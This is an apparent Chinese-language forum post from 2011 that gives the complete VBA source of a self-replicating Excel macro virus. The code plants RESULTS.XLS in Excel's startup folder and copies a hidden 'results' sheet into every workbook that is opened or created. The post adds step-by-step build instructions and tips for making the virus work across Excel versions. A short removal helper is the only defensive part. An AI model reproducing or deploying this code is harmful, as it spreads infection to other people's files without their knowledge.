此法經測試excel95~2010均可用2007以後檔案格式要轉換成xlsm檔
若是作成病毒感染，我會製成xls檔，然後用版本判別程式判斷，使用2007以後版本時會另存成xlsm檔案
這樣感染時各版本就會通用
----------------------------------------------------------------------------------------------------- 注意此檔案，有檔案感染性:
1.執行此附件病毒後，請特別注意到Application.StartupPath 路徑資料夾清除 "RESULTS.XLS"檔案
如何解除，請執行下列程序會自動開啟存放路徑資料夾:
Sub StartupPathA()
'使用者電腦上Microsoft Excel 啟動資料夾的完整路徑。
'設定引用項目Microsoft Shell Controls And Automation
On Error GoTo Error1
Dim mySh As Shell32.Shell
Set mySh = CreateObject("Shell.Application")
mySh.Explore Application.StartupPath '任意的資料夾
Set mySh = Nothing '物件的釋放
Error1: End Sub
'(EXCEL2003版在這路徑，C:\Users\HUNGCHILIN\AppData\Roaming\Microsoft\Excel\XLSTART)
執行效果:
1.使用此檔 此檔會自動另存 "RESULTS.XLS"檔案到Application.StartupPath 路徑資料夾
2.新增檔案與開啟舊檔都會自動移植入此感染模組，若不注意你所有使用過的EXCEL檔案都會受感染
3.病毒程式如下
-----------------------------------------------------------------------------------------------------
Sub auto_open()
Application.OnSheetActivate = "ck_files"
End Sub
Sub ck_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "RESULTS.XLS")
If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
Select Case whichfile
Case 10
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
Sheets("results").Visible = True
Sheets("results").Select
Sheets("results").Copy
With ActiveWorkbook
.Title = ""
.Subject = ""
.Author = ""
.Keywords = ""
.Comments = ""
End With
newname$ = ActiveWorkbook.Name
c4$ = CurDir()
ChDir Application.StartupPath
ActiveWindow.Visible = False
Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
False, CreateBackup:=False
ChDir c4$
Workbooks(n4$).Sheets("results").Visible = False
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "RESULTS.XLS!ck_files"
Case 1
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
p4$ = ActiveWorkbook.Path
s$ = Workbooks(n4$).Sheets(1).Name
If s$ <> "results" Then
Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
Workbooks(n4$).Sheets("results").Visible = False
Else
End If
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "RESULTS.XLS!ck_files"
Case Else
End Select
End Sub
-----------------------------------------------------------------------------------------------------
P.S. 病毒作法步驟:
1.將上述程式碼COPY到 EXCEL 模組中
2.將模組名稱改為 results
3.[原創] VBA列出工作表名稱時模組變成工作表且顯示非常隱藏 解答
即可完成作者: Hsieh 時間: 2011-2-13 12:25
